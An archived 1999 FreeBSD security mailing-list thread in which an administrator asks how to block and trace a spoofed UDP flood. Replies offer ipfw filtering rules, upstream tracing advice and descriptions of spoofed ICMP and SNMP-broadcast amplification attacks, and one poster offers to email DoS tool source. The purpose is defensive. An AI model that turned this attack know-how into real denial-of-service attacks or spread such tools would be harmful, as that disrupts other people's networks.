25CB814BC2 for ; Wed, 8 Dec 1999 13:51:23 -0800 (PST) (envelope-from scott@computeralt.com) Received: from scott (scott.computeralt.com [207.41.29.100]) by server.computeralt.com (8.9.3/8.9.1) with ESMTP id QAA13374 for ; Wed, 8 Dec 1999 16:51:16 -0500 (EST) Message-Id: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> X-Sender: scott@mail.computeralt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 08 Dec 1999 16:51:11 -0500 To: freebsd-security@freebsd.org From: "Scott I. Remick" Subject: What kind of attack is this? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, I'm observing what may be our first real attack. It's focused on a particular IP address, and we have suspicions as to who it may be, but anyway... Using trafshow, I'm observing tons of UDP packets being sent to one system from seemingly random IP addresses (probably spoofed) all over the place, with the system responding in turn with ICMP packets to each. I know that's what firewalls are for, and that's why I'm working on one. Holdup is time-constraints and red-tape and corporate politics and screwed up priorities and so on, so let's just leave it that the firewall is coming but is not here yet (if you remember back, this is the company that wants to use MS Proxy). I can't just block all incoming UDP packets because they are used by other applications. So how does one protect themselves against such an attack? I have an Ascend Pipeline 50 router which I'm trying to sort out from the manuals a way to use its filters and how it behaves if rules overlap (what I'm thinking is trying to find a way to block all incoming UDP packets EXCEPT the type which are known to be good). And the $1M question: with spoofed source addresses, how does one track down and nail the culprit? Because we have a very good idea as to the source, if we know their router's IP, can we confirm whether a spoofed packet traveled along that route? Anyhow, it died down a moment ago, so there's nothing more for me to watch. Wasn't a big crisis and the person just used someone else's while I let the lamb be sacrificed so I could observe (only thing it did was bog it down). I welcome any input on this (be nice to me), and look forward to using this episode as an educational exercise. Thanks ----------------------- Scott I. Remick scott@computeralt.com Network and Information (802)388-7545 ext. 236 Systems Manager FAX:(802)388-3697 Computer Alternatives, Inc. http://www.computeralt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14: 3:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id B79DE14CAF for ; Wed, 8 Dec 1999 14:03:35 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id RAA25069; Wed, 8 Dec 1999 17:02:41 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Wed, 8 Dec 1999 17:02:41 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Scott I. Remick" Cc: freebsd-security@freebsd.org Subject: Re: What kind of attack is this? In-Reply-To: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This morning there were two posts about distributed attack tools on bugtraq--does either of these sound like what you are experiencing? There's not much you can do about spoofed UDP attacks without significant involvement of providers along the path back to the attacker, but with distributed attack tools not using spoofing, it is feasible. Some people at TIS and I speculated about the possibility of such tools a couple of years ago, and decided that that would suck and sort of left it at that. It's somewhat (in a sick kind of way) gratifying to see that the idea works :-). Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14: 6: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id 450C014F36 for ; Wed, 8 Dec 1999 14:05:58 -0800 (PST) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id IAA07546; Thu, 9 Dec 1999 08:31:40 +1030 (CST) Date: Thu, 9 Dec 1999 08:31:40 +1030 From: Mark Newton To: "Scott I. Remick" Cc: freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? Message-ID: <19991209083140.A7509@atdot.dotat.org> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="PEIAKu/WMn1b1Hv9" X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com>; from scott@computeralt.com on Wed, Dec 08, 1999 at 04:51:11PM -0500 X-PGP-Key: http://slash.dotat.org/~newton/pgpkey.txt Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable On Wed, Dec 08, 1999 at 04:51:11PM -0500, Scott I. Remick wrote: > I know that's what firewalls are for, and that's why I'm working on=20 > one. Holdup is time-constraints and red-tape and corporate politics and= =20 > screwed up priorities and so on, so let's just leave it that the firewal= l=20 > is coming but is not here yet (if you remember back, this is the company= =20 > that wants to use MS Proxy). =20 heheh. That's probably why you're being attacked :-) > So how does one protect themselves against such an attack? I have an=20 > Ascend Pipeline 50 router which I'm trying to sort out from the manuals = a=20 > way to use its filters and how it behaves if rules overlap (what I'm=20 > thinking is trying to find a way to block all incoming UDP packets EXCEP= T=20 > the type which are known to be good). Get a FreeBSD box with two ethernet interfaces. Enable ipfw. Start with rules that look like this: ipfw add pass udp from any GOODPORT to any in via OUTSIDE-INTERFACE ipfw add deny udp from any to any in via OUTSIDE-INTERFACE ipfw add pass all from any to any Of course, the ruleset you end up with will be more comprehensive than that, but it should give you an idea. Look at /etc/rc.firewall for more info. Alternatively buy a Cisco -- Ascends are toy routers, IMHO, with=20 somewhat limited packet filtering abilities. =20 - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- --PEIAKu/WMn1b1Hv9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: DbguImkVl+agtvstZEavU1mjAuXN7dED iQA/AwUBOE7VQzVY9oBk/GJ4EQK0yQCg9u6v9/06Ws8vBsvmLhgbXUvyHW0Anif5 kYM0zL6jWQ9wkFfKgHco6YZu =tViE -----END PGP SIGNATURE----- --PEIAKu/WMn1b1Hv9-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:11:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id F2C84151FA for ; Wed, 8 Dec 1999 14:11:30 -0800 (PST) (envelope-from freebsd@deepwell.com) Received: (qmail 10197 invoked from network); 8 Dec 1999 23:03:18 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 8 Dec 1999 23:03:18 -0000 Message-Id: <4.2.0.58.19991208141045.00d293f0@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 08 Dec 1999 14:11:31 -0800 To: Mark Newton , freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: What kind of attack is this? In-Reply-To: <19991209083140.A7509@atdot.dotat.org> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > So how does one protect themselves against such an attack? I have an > > Ascend Pipeline 50 router which I'm trying to sort out from the manuals a > > way to use its filters and how it behaves if rules overlap (what I'm > > thinking is trying to find a way to block all incoming UDP packets EXCEPT > > the type which are known to be good). > >Get a FreeBSD box with two ethernet interfaces. Enable ipfw. Start >with rules that look like this: > > ipfw add pass udp from any GOODPORT to any in via OUTSIDE-INTERFACE > ipfw add deny udp from any to any in via OUTSIDE-INTERFACE > ipfw add pass all from any to any > >Of course, the ruleset you end up with will be more comprehensive >than that, but it should give you an idea. Look at /etc/rc.firewall >for more info. > >Alternatively buy a Cisco -- Ascends are toy routers, IMHO, with >somewhat limited packet filtering abilities. > > - mark Not to mention Ascend's broken NAT implementation. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:19:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 9EAA115245 for ; Wed, 8 Dec 1999 14:19:11 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk (freeby.wessex.aldigital.co.uk [192.168.192.3]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id WAA28565; Wed, 8 Dec 1999 22:17:31 GMT Message-ID: <384ED7F4.61804910@algroup.co.uk> Date: Wed, 08 Dec 1999 22:13:08 +0000 From: Adam Laurie Organization: A.L. Group plc X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mark Newton Cc: "Scott I. Remick" , freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <19991209083140.A7509@atdot.dotat.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mark Newton wrote: > > On Wed, Dec 08, 1999 at 04:51:11PM -0500, Scott I. Remick wrote: > > > I know that's what firewalls are for, and that's why I'm working on > > one. Holdup is time-constraints and red-tape and corporate politics and > > screwed up priorities and so on, so let's just leave it that the firewall > > is coming but is not here yet (if you remember back, this is the company > > that wants to use MS Proxy). > > heheh. That's probably why you're being attacked :-) > > > So how does one protect themselves against such an attack? I have an > > Ascend Pipeline 50 router which I'm trying to sort out from the manuals a > > way to use its filters and how it behaves if rules overlap (what I'm > > thinking is trying to find a way to block all incoming UDP packets EXCEPT > > the type which are known to be good). > > Get a FreeBSD box with two ethernet interfaces. Enable ipfw. Start > with rules that look like this: > > ipfw add pass udp from any GOODPORT to any in via OUTSIDE-INTERFACE > i in via OUTSIDE-INTERFACE > ipfw add pass all from any to any No, that would be bad. If they can spoof their address, they can certainly spoof the source port (get a copy of netcat (respex to hobbit) and have a play if you don't believe it). cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:22:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.computeralt.com (server.computeralt.com [207.41.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 037811564E for ; Wed, 8 Dec 1999 14:22:08 -0800 (PST) (envelope-from scott@computeralt.com) Received: from scott (scott.computeralt.com [207.41.29.100]) by server.computeralt.com (8.9.3/8.9.1) with ESMTP id RAA13653 for ; Wed, 8 Dec 1999 17:22:05 -0500 (EST) Message-Id: <4.2.2.19991208171410.00aa4db0@mail.computeralt.com> X-Sender: scott@mail.computeralt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 08 Dec 1999 17:22:04 -0500 To: freebsd-security@FreeBSD.ORG From: "Scott I. Remick" Subject: Re: What kind of attack is this? In-Reply-To: <19991209083140.A7509@atdot.dotat.org> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:31 AM 12/9/99 +1030, Mark Newton wrote: >Get a FreeBSD box with two ethernet interfaces. Enable ipfw. Start >with rules that look like this: > > ipfw add pass udp from any GOODPORT to any in via OUTSIDE-INTERFACE > ipfw add deny udp from any to any in via OUTSIDE-INTERFACE > ipfw add pass all from any to any > >Of course, the ruleset you end up with will be more comprehensive >than that, but it should give you an idea. Look at /etc/rc.firewall >for more info. Yeah, I understand all that, believe it or not :). I actually have the system built up partway (FreeBSD 3.3, 2 NICs working, ssh the only service, firewall built into kernel, etc) but it's not quite so easy to just drop it into place. I need to get everyone off static IP and onto DHCP so I can then chop up our class C into subnets so we can actually do routing, then move some server's IPs around so they end up in the proper subnets, and I even want to drop in a 3rd NIC and have a 3-homed host. But things that involve change and aren't Microsoft solutions move at a snail's pace around here... but I digress... I am hoping to figure out a way to do exactly that with the Pipeline. I actually have a bunch of filters on it that I already created but they don't overlap the way these do and I'm unclear whether the Pipeline will interpret these filters the way I need it to. But your first 2 rules are exactly what I had in mind, and I know how to do them... I suppose I could just put them in place and see if it works. >Alternatively buy a Cisco -- Ascends are toy routers, IMHO, with >somewhat limited packet filtering abilities. They won't be doing that anytime soon. As it was, I had to obtain a no-cost system using loose used inventory so that I could build up the FreeBSD box destined to be a firewall. What I'm hoping for is a temporary band-aid solution for this one particular event, and to understand the type of attack better, and also nail the jerk and have his toys taken away from him. ----------------------- Scott I. Remick scott@computeralt.com Network and Information (802)388-7545 ext. 236 Systems Manager FAX:(802)388-3697 Computer Alternatives, Inc. http://www.computeralt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:26: 8 1999 Delivered-To: freebsd-security@freebsd.org Received: from loki.iss.net (loki.iss.net [208.21.0.3]) by hub.freebsd.org (Postfix) with ESMTP id C9537151E2 for ; Wed, 8 Dec 1999 14:26:03 -0800 (PST) (envelope-from rmooney@iss.net) Received: from arden.iss.net (IDENT:rmooney@arden.iss.net [208.27.172.3]) by loki.iss.net (8.9.3/8.9.3) with SMTP id RAA21047; Wed, 8 Dec 1999 17:25:32 -0500 Date: Wed, 8 Dec 1999 17:25:57 -0500 (EST) From: Robert Mooney Reply-To: Robert Mooney To: "Scott I. Remick" Cc: freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? In-Reply-To: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 8 Dec 1999, Scott I. Remick wrote: > I know that's what firewalls are for, and that's why I'm working on > one. Holdup is time-constraints and red-tape and corporate politics and > screwed up priorities and so on, so let's just leave it that the firewall > is coming but is not here yet (if you remember back, this is the company > that wants to use MS Proxy). What about changing that machine's IP, or throwing up a temporary firewall in between the outside and this machine (sounds illogical, but possible, especially in a situation where a temporary fix is needed ASAP)? Are people on the net supposed to be able to get to this machine? > I can't just block all incoming UDP packets because they are used by other > applications. What machines in your militarized zone do you have that require incoming UDP packets that don't send outgoing UDP packets first? IPF is neato in this respect, as you can block all incoming UDP, yet give outgoing UDP state. > So how does one protect themselves against such an attack? I have an > Ascend Pipeline 50 router which I'm trying to sort out from the manuals a > way to use its filters and how it behaves if rules overlap (what I'm > thinking is trying to find a way to block all incoming UDP packets EXCEPT > the type which are known to be good). Yes, definately block everything except what's needed. And then question yourself and others on what really is needed. If Ascend's ruleset isn't as flexible as you'd like, you could probably set up a BSD box on the local network side of the Ascend, and use it as a firewall. Seriously consider IPF. > And the $1M question: with spoofed source addresses, how does one track > down and nail the culprit? Because we have a very good idea as to the > source, if we know their router's IP, can we confirm whether a spoofed > packet traveled along that route? Contact your upstream provider as soon as possible and let them know what's up. When the attack happens again, they can do the same (ie, contact their provider, or people within the organization) and hopefully track down the offender (and subsequently remove him from the planet). > Anyhow, it died down a moment ago, so there's nothing more for me to > watch. Wasn't a big crisis and the person just used someone else's while I > let the lamb be sacrificed so I could observe (only thing it did was bog it > down). I welcome any input on this (be nice to me), and look forward to > using this episode as an educational exercise. BTW, what port were these packets going to? Any idea what kind of ICMP packets were being returned? - Rob To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:33: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.computeralt.com (server.computeralt.com [207.41.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 306C715166 for ; Wed, 8 Dec 1999 14:32:53 -0800 (PST) (envelope-from scott@computeralt.com) Received: from scott (scott.computeralt.com [207.41.29.100]) by server.computeralt.com (8.9.3/8.9.1) with ESMTP id RAA13744 for ; Wed, 8 Dec 1999 17:32:47 -0500 (EST) Message-Id: <4.2.2.19991208172247.00aa6b40@mail.computeralt.com> X-Sender: scott@mail.computeralt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 08 Dec 1999 17:32:46 -0500 To: freebsd-security@FreeBSD.ORG From: "Scott I. Remick" Subject: Re: What kind of attack is this? In-Reply-To: References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 05:02 PM 12/8/99 -0500, Robert Watson wrote: >This morning there were two posts about distributed attack tools on >bugtraq--does either of these sound like what you are experiencing? I actually saw those, and the thought crossed my mind. Only the Tribe one seems to involved packets with spoofed information. Plus, this sounds a bit too involved to be from the place that I'm suspecting, and we're really not that big to warrant all that effort :) It did seem like a large undertaking to set up a TFN, and it seems too new for us to be one of the first victims. I was figuring there was probably a very common attack that sent UDP packets that triggered ICMP replies in order to bog down a particular victim's system. >There's not much you can do about spoofed UDP attacks without significant >involvement of providers along the path back to the attacker, but with >distributed attack tools not using spoofing, it is feasible. Well, I'm next to positive that the source addresses are spoofed. There's just no rhyme nor reason to them, and they seem to come from all over creation. As it has stopped for now, I can't really observe anything new, but that was my recollection. I have a good relationship with the techs at our ISP so I know they'd be cooperative. I don't know how it'd go from there. I'd really like to call this attack by name if it has one, so we're all on the same page, and I can do more research on it. ----------------------- Scott I. Remick scott@computeralt.com Network and Information (802)388-7545 ext. 236 Systems Manager FAX:(802)388-3697 Computer Alternatives, Inc. http://www.computeralt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:36:45 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id 0B0DB14A29 for ; Wed, 8 Dec 1999 14:36:38 -0800 (PST) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id JAA07820; Thu, 9 Dec 1999 09:02:04 +1030 (CST) Date: Thu, 9 Dec 1999 09:02:04 +1030 From: Mark Newton To: Adam Laurie Cc: "Scott I. Remick" , freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? Message-ID: <19991209090204.E7509@atdot.dotat.org> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <19991209083140.A7509@atdot.dotat.org> <384ED7F4.61804910@algroup.co.uk> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="cHMo6Wbp1wrKhbfi" X-Mailer: Mutt 1.0i In-Reply-To: <384ED7F4.61804910@algroup.co.uk>; from adam@algroup.co.uk on Wed, Dec 08, 1999 at 10:13:08PM +0000 X-PGP-Key: http://slash.dotat.org/~newton/pgpkey.txt Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --cHMo6Wbp1wrKhbfi Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable On Wed, Dec 08, 1999 at 10:13:08PM +0000, Adam Laurie wrote: > > ipfw add pass udp from any GOODPORT to any in via OUTSIDE-INTERFACE > > i in via OUTSIDE-INTERFACE > > ipfw add pass all from any to any >=20 > No, that would be bad. If they can spoof their address, they can > certainly spoof the source port (get a copy of netcat (respex to hobbit) > and have a play if you don't believe it). Yes, I know that, but under the circumstances can you think of any better ideas? :-) - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- --cHMo6Wbp1wrKhbfi Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: J8fISUaNkofDdsuMEOLqbnNwUzVRPkgf iQA/AwUBOE7cYzVY9oBk/GJ4EQIrzwCfSK8lJ8W/9JxbFaG1CzeXI/7yxk0AnjQt 0NO3sUA+sjC6MIL3WUYL5LMM =W2O0 -----END PGP SIGNATURE----- --cHMo6Wbp1wrKhbfi-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:46:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.computeralt.com (server.computeralt.com [207.41.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 034C115264 for ; Wed, 8 Dec 1999 14:46:23 -0800 (PST) (envelope-from scott@computeralt.com) Received: from scott (scott.computeralt.com [207.41.29.100]) by server.computeralt.com (8.9.3/8.9.1) with ESMTP id RAA13826 for ; Wed, 8 Dec 1999 17:46:17 -0500 (EST) Message-Id: <4.2.2.19991208173403.00be7790@mail.computeralt.com> X-Sender: scott@mail.computeralt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 08 Dec 1999 17:46:17 -0500 To: freebsd-security@FreeBSD.ORG From: "Scott I. Remick" Subject: Re: What kind of attack is this? In-Reply-To: References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 05:25 PM 12/8/99 -0500, Robert Mooney wrote: >What about changing that machine's IP, I was going to do that, but wanted to observe for a while. It wasn't an important system, and I can't learn anything if I can't watch it in action. >or throwing up a temporary firewall >in between the outside and this machine (sounds illogical, but possible, >especially in a situation where a temporary fix is needed ASAP)? I've got a firewall already built up. But like I explained in another post, although I'd like to just drop it in, it's not quite that easy. >Are people on the net supposed to be able to get to this machine? Yes. I don't have a lot of pull, and the powers that be here sway more towards giving individual employees the power to do just about anything they want over the internet and security takes a back seat. Just getting everyone to let me install AV software is like pulling teeth. So the firewall solution will end up being open by default, and blocking that which is bad. >What machines in your militarized zone do you have that require incoming >UDP packets that don't send outgoing UDP packets first? Well that's a tricky one. How do you set up a filter/rule to figure THAT out? (whether a UDP packet coming in from a host was in response to one it received earlier) Some of the things we have going on here that use UDP are ICQ, NTP, and DNS. I believe RealPlayer uses UDP too. Probably others. >IPF is neato in this respect, as you can block all incoming UDP, yet >give outgoing UDP state. Yeah, I know... but IPF isn't happening right yet. My priority is to figure out a name for this sort of attack so I can communicate intelligently and read up more about it, and figure out how to trace it. Blocking it will happen but isn't as critical because 1) it's not targeted towards an important system, and 2) the firewall WILL come which WILL fix this, I know. I suspect this to be a retaliation of a personal nature from someone against one of our employees. >Yes, definately block everything except what's needed. And then question >yourself and others on what really is needed. Which is what I'd like to do, but what I like to do and what needs to be done here are seldom the same thing. I will push for a closed-firewall but it'll probably end up being open by default when it goes up. >If Ascend's ruleset isn't as flexible as you'd like, you could probably >set up a BSD box on the local network side of the Ascend, and use it as a >firewall. Seriously consider IPF. I am, I am, I am... but in the interim... :) ----------------------- Scott I. Remick scott@computeralt.com Network and Information (802)388-7545 ext. 236 Systems Manager FAX:(802)388-3697 Computer Alternatives, Inc. http://www.computeralt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 14:49:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from kiwi.pyro.net (pyro.net [207.7.10.2]) by hub.freebsd.org (Postfix) with SMTP id 4F23D15211 for ; Wed, 8 Dec 1999 14:49:36 -0800 (PST) (envelope-from phix@pyro.net) Received: (qmail 8932 invoked from network); 8 Dec 1999 22:49:50 -0000 Received: from 19-140.001.popsite.net (HELO pyro.net) (209.224.135.140) by pyro.net with SMTP; 8 Dec 1999 22:49:50 -0000 Message-ID: <384EE05F.DA2FB311@pyro.net> Date: Wed, 08 Dec 1999 16:49:03 -0600 From: phix X-Sender: "phix" (Unverified) X-Mailer: Mozilla 4.06 [en]C-gatewaynet (Win98; I) MIME-Version: 1.0 To: "freebsd-security@FreeBSD.ORG" Subject: RE: What kind of attack is this? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This sounds like the use of the new sunos denial program. udp.s. It's pretty deadly, if anyone would like the source to forth protect there system from it e-mail me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 16:23:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id 9C06315265 for ; Wed, 8 Dec 1999 16:23:21 -0800 (PST) (envelope-from freebsd@deepwell.com) Received: (qmail 18046 invoked from network); 9 Dec 1999 01:15:08 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 9 Dec 1999 01:15:08 -0000 Message-Id: <4.2.0.58.19991208161404.00cf2210@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 08 Dec 1999 16:23:17 -0800 To: "Scott I. Remick" , freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: What kind of attack is this? In-Reply-To: <4.2.2.19991208172247.00aa6b40@mail.computeralt.com> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Our shell server was a victim to this a while back. One day when I got in to the office the phones were ringing of the hook while support staff ran around like Chihuahuas. I got calls all morning from people asking why we were scanning their network. As far as I could tell someone was spoofing ICMP echo requests from random machines and the shell server was happily answering them. The admins of the random ping returns were seeing it as a port scan or some intrusion tool. It didn't have our T-3 pegged, but it probably had the attackers bandwidth pegged as it. When we looked at our MRTG graphs they had a nice plateau at 2mb and stayed there. That was the day the shell server went away. I've never found the DoS tool that generated this, but ICMP attack tools are a dime a dozen. Also, more recently we saw a DoS attack similar to a smurf attack. It appears that someone was spoofing the address of one of our web servers and sending SNMP tree requests to the broadcast addresses of random networks. One admin I talked to said he would see a single SNMP request come in from us (spoofed, I'm guessing) and then all their HP printers with Jet direct cards would go nuts spewing their entire MIB data back. That's much nastier than a smurf attack! Has anyone heard of this before? -Terry >Well, I'm next to positive that the source addresses are spoofed. There's >just no rhyme nor reason to them, and they seem to come from all over >creation. As it has stopped for now, I can't really observe anything new, >but that was my recollection. > >I have a good relationship with the techs at our ISP so I know they'd be >cooperative. I don't know how it'd go from there. I'd really like to >call this attack by name if it has one, so we're all on the same page, and >I can do more research on it. >----------------------- >Scott I. Remick scott@computeralt.com >Network and Information (802)388-7545 ext. 236 >Systems Manager FAX:(802)388-3697 >Computer Alternatives, Inc. http://www.computeralt.com > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 3:48:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.powertech.no (intentia.powertech.no [195.159.0.220]) by hub.freebsd.org (Postfix) with ESMTP id 4749714CFA for ; Thu, 9 Dec 1999 03:48:51 -0800 (PST) (envelope-from shamz@login2.powertech.no) Received: from login2.powertech.no (IDENT:root@login2.powertech.no [195.159.0.152]) by mail.powertech.no (8.9.3/8.8.5) with ESMTP id MAA31526 for ; Thu, 9 Dec 1999 12:48:11 +0100 Received: (from shamz@localhost) by login2.powertech.no (8.9.3/8.9.3) id MAA15086 for freebsd-security@FreeBSD.ORG; Thu, 9 Dec 1999 12:48:48 +0100 Date: Thu, 9 Dec 1999 12:48:47 +0100 From: Shaun Jurrens To: freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? Message-ID: <19991209124847.C10267@shamz.net> Mail-Followup-To: freebsd-security@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4us Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Just a note, I think you will find some useful preliminary work already done. IIRC, Dag-Erling has written some code that he uses on his irc servers for udp/smurf attacks. Search the -hackers(?) list from early September to find the links if they're not somewhere on his contributor page. 